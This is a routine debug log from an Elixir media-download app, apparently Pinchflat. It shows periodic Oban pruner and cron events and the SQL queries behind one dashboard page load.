[info] {"source":"oban","duration":2518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:03:56.019 [info] {"source":"oban","duration":1101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:04:00.146 [info] {"source":"oban","duration":5664,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:04:26.022 [info] {"source":"oban","duration":2496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:04:56.027 [info] {"source":"oban","duration":3768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:05:00.155 [info] {"source":"oban","duration":7534,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:05:26.040 [info] {"source":"oban","duration":11662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:05:56.044 [info] {"source":"oban","duration":3316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:06:00.160 [info] {"source":"oban","duration":4581,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:06:26.052 [info] {"source":"oban","duration":7407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:06:56.054 [info] {"source":"oban","duration":1214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:07:00.164 [info] {"source":"oban","duration":2797,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:07:26.064 [info] {"source":"oban","duration":8713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:07:56.066 [info] {"source":"oban","duration":1604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:08:00.174 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:08:26.077 [info] {"source":"oban","duration":10348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:08:56.083 [info] {"source":"oban","duration":4221,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:09:00.178 [info] {"source":"oban","duration":2943,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:09:26.093 [info] {"source":"oban","duration":8485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:09:56.097 [info] {"source":"oban","duration":2888,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:10:00.180 [info] {"source":"oban","duration":1463,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:10:26.106 [info] {"source":"oban","duration":7949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:10:56.108 [info] {"source":"oban","duration":1033,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:11:00.183 [info] {"source":"oban","duration":1226,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:11:26.111 [info] {"source":"oban","duration":1670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:11:56.112 [info] {"source":"oban","duration":1368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:12:00.190 [info] {"source":"oban","duration":5395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:12:26.114 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:12:56.116 [info] {"source":"oban","duration":795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:13:00.194 [info] {"source":"oban","duration":3356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:13:26.127 [info] {"source":"oban","duration":8940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:13:56.129 [info] {"source":"oban","duration":1053,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:14:00.197 [info] {"source":"oban","duration":1904,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:14:26.131 [info] {"source":"oban","duration":873,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:14:56.133 [info] {"source":"oban","duration":813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:15:00.203 [info] {"source":"oban","duration":5183,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:15:26.135 [info] {"source":"oban","duration":834,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:15:56.137 [info] {"source":"oban","duration":946,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:16:00.210 [info] {"source":"oban","duration":6166,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:16:26.147 [info] {"source":"oban","duration":9146,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:16:56.149 [info] {"source":"oban","duration":1027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:17:00.215 [info] {"source":"oban","duration":4084,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:17:26.152 [info] {"source":"oban","duration":2311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:17:56.154 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:18:00.221 [info] {"source":"oban","duration":3731,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:18:26.162 [info] {"source":"oban","duration":6672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:18:56.164 [info] {"source":"oban","duration":970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:19:00.229 [info] {"source":"oban","duration":6745,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:19:26.171 [info] {"source":"oban","duration":6433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:19:56.177 [info] {"source":"oban","duration":907,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:20:00.234 [info] {"source":"oban","duration":1611,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:20:26.182 [info] {"source":"oban","duration":3590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:20:56.184 [info] {"source":"oban","duration":862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:21:00.238 [info] {"source":"oban","duration":2999,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:21:26.192 [info] {"source":"oban","duration":6708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:21:56.195 [info] {"source":"oban","duration":1720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:22:00.247 [info] {"source":"oban","duration":7838,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:22:26.199 [info] {"source":"oban","duration":2646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:22:56.200 [info] {"source":"oban","duration":895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:23:00.258 [info] {"source":"oban","duration":4615,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:23:26.204 [info] {"source":"oban","duration":3406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:23:56.206 [info] {"source":"oban","duration":780,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:24:00.267 [info] {"source":"oban","duration":6496,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:24:26.211 [info] {"source":"oban","duration":3562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:24:56.213 [info] {"source":"oban","duration":810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:25:00.269 [info] {"source":"oban","duration":439,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:25:26.220 [info] {"source":"oban","duration":5553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:25:56.222 [info] {"source":"oban","duration":997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:26:00.276 [info] {"source":"oban","duration":4723,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:26:26.230 [info] {"source":"oban","duration":6820,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:26:56.232 [info] {"source":"oban","duration":904,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:27:00.277 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:27:26.241 [info] {"source":"oban","duration":8480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:27:56.243 [info] {"source":"oban","duration":758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:28:00.282 [info] {"source":"oban","duration":3915,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:28:26.249 [info] {"source":"oban","duration":4525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:28:56.256 [info] {"source":"oban","duration":2075,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:29:00.288 [info] {"source":"oban","duration":4267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:29:26.262 [info] {"source":"oban","duration":5348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:29:56.264 [info] {"source":"oban","duration":839,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:30:00.292 [info] {"source":"oban","duration":3521,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:30:26.269 [info] {"source":"oban","duration":3889,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:30:56.284 [info] {"source":"oban","duration":12317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:31:00.299 [info] {"source":"oban","duration":3265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:31:26.294 [info] {"source":"oban","duration":7985,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:31:56.296 [info] {"source":"oban","duration":997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:32:00.304 [info] {"source":"oban","duration":3830,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:32:26.305 [info] {"source":"oban","duration":7867,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:32:56.307 [info] {"source":"oban","duration":871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:33:00.310 [info] {"source":"oban","duration":4253,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:33:26.312 [info] {"source":"oban","duration":3688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:33:56.314 [info] {"source":"oban","duration":1617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:34:00.315 [info] {"source":"oban","duration":3846,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:34:21.406 [debug] Tzdata polling for update. 05:34:22.733 [debug] Tzdata polling shows the loaded tz database is up to date. 05:34:26.324 [info] {"source":"oban","duration":8971,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:34:56.326 [info] {"source":"oban","duration":902,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:35:00.320 [info] {"source":"oban","duration":4164,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:35:26.335 [info] {"source":"oban","duration":8544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:35:56.339 [info] {"source":"oban","duration":3224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:36:00.326 [info] {"source":"oban","duration":578,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:36:26.342 [info] {"source":"oban","duration":1713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:36:56.344 [info] {"source":"oban","duration":1755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:37:00.330 [info] {"source":"oban","duration":3193,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:37:26.346 [info] {"source":"oban","duration":1104,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:37:56.349 [info] {"source":"oban","duration":2013,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:38:00.336 [info] {"source":"oban","duration":3451,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:38:26.351 [info] {"source":"oban","duration":976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:38:56.354 [info] {"source":"oban","duration":2050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:39:00.341 [info] {"source":"oban","duration":3681,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:39:26.361 [info] {"source":"oban","duration":6322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:39:56.365 [info] {"source":"oban","duration":3117,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:40:00.345 [info] {"source":"oban","duration":2582,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:40:26.368 [info] {"source":"oban","duration":1135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:40:56.370 [info] {"source":"oban","duration":869,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:41:00.350 [info] {"source":"oban","duration":4368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:41:26.373 [info] {"source":"oban","duration":1804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:41:56.375 [info] {"source":"oban","duration":1166,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:42:00.357 [info] {"source":"oban","duration":5916,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:42:26.377 [info] {"source":"oban","duration":1162,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:42:56.380 [info] {"source":"oban","duration":2396,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:43:00.360 [info] {"source":"oban","duration":1622,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:43:26.382 [info] {"source":"oban","duration":819,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:43:56.384 [info] {"source":"oban","duration":1011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:44:00.373 [info] {"source":"oban","duration":10837,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:44:26.386 [info] {"source":"oban","duration":937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:44:56.389 [info] {"source":"oban","duration":1850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:45:00.376 [info] {"source":"oban","duration":439,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:45:26.391 [info] {"source":"oban","duration":779,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:45:56.400 [info] {"source":"oban","duration":7733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:46:00.380 [info] {"source":"oban","duration":479,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:46:26.402 [info] {"source":"oban","duration":848,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:46:56.404 [info] {"source":"oban","duration":978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:47:00.384 [info] {"source":"oban","duration":3166,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:47:26.407 [info] {"source":"oban","duration":1809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:47:56.415 [info] {"source":"oban","duration":6778,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:48:00.388 [info] {"source":"oban","duration":2850,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:48:26.042 [info] GET / 05:48:26.048 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 05:48:26.097 [debug] QUERY OK source="settings" db=43.4ms idle=434.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:48:26.132 [debug] QUERY OK source="media_profiles" db=34.8ms idle=478.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 05:48:26.163 [debug] QUERY OK source="sources" db=29.1ms queue=0.6ms idle=513.9ms SELECT count(s0."id") FROM "sources" AS s0 [] 05:48:26.166 [debug] QUERY OK source="media_items" db=1.7ms queue=0.6ms idle=544.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:48:26.283 [debug] QUERY OK source="media_items" db=116.4ms queue=0.2ms idle=189.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:48:26.288 [debug] QUERY OK source="settings" db=3.0ms queue=0.1ms idle=187.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:48:26.289 [debug] QUERY OK source="settings" db=0.9ms idle=155.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:48:26.292 [debug] QUERY OK source="settings" db=1.0ms idle=127.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:48:26.297 [debug] QUERY OK source="tasks" db=1.1ms idle=130.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 05:48:26.299 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=15.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:48:26.301 [debug] QUERY OK source="media_items" db=1.2ms idle=11.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 05:48:26.302 [debug] QUERY OK source="sources" db=0.6ms queue=0.2ms idle=12.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 05:48:26.309 [debug] QUERY OK source="media_items" db=2.9ms queue=0.1ms idle=13.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 05:48:26.311 [debug] QUERY OK source="media_items" db=0.9ms queue=0.7ms idle=12.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 05:48:26.313 [info] Sent 200 in 271ms 05:48:26.417 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:48:56.422 [info] {"source":"oban","duration":4425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:49:00.392 [info] {"source":"oban","duration":2918,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:49:26.426 [info] {"source":"oban","duration":1749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:49:56.428 [info] {"source":"oban","duration":859,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:50:00.394 [info] {"source":"oban","duration":812,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:50:26.430 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:50:56.432 [info] {"source":"oban","duration":934,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:51:00.400 [info] {"source":"oban","duration":5166,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:51:26.434 [info] {"source":"oban","duration":1460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:51:56.436 [info] {"source":"oban","duration":852,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:52:00.406 [info] {"source":"oban","duration":4691,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:52:26.442 [info] {"source":"oban","duration":4788,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:52:56.444 [info] {"source":"oban","duration":1004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:53:00.408 [info] {"source":"oban","duration":1148,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:53:26.446 [info] {"source":"oban","duration":1108,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:53:56.448 [info] {"source":"oban","duration":1457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:54:00.412 [info] {"source":"oban","duration":1358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:54:26.450 [info] {"source":"oban","duration":797,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:54:56.452 [info] {"source":"oban","duration":1133,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:55:00.414 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:55:26.454 [info] {"source":"oban","duration":1017,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:55:56.456 [info] {"source":"oban","duration":1033,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:56:00.416 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:56:26.458 [info] {"source":"oban","duration":917,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:56:56.460 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:57:00.420 [info] {"source":"oban","duration":3410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:57:26.462 [info] {"source":"oban","duration":846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:57:56.467 [info] {"source":"oban","duration":4487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:58:00.421 [info] {"source":"oban","duration":263,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:58:26.469 [info] {"source":"oban","duration":926,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:58:56.471 [info] {"source":"oban","duration":775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:59:00.424 [info] {"source":"oban","duration":2148,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:59:26.475 [info] {"source":"oban","duration":3186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:59:56.477 [info] {"source":"oban","duration":818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:00:00.433 [info] {"source":"oban","duration":8008,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:00:26.485 [info] {"source":"oban","duration":6973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:00:56.487 [info] 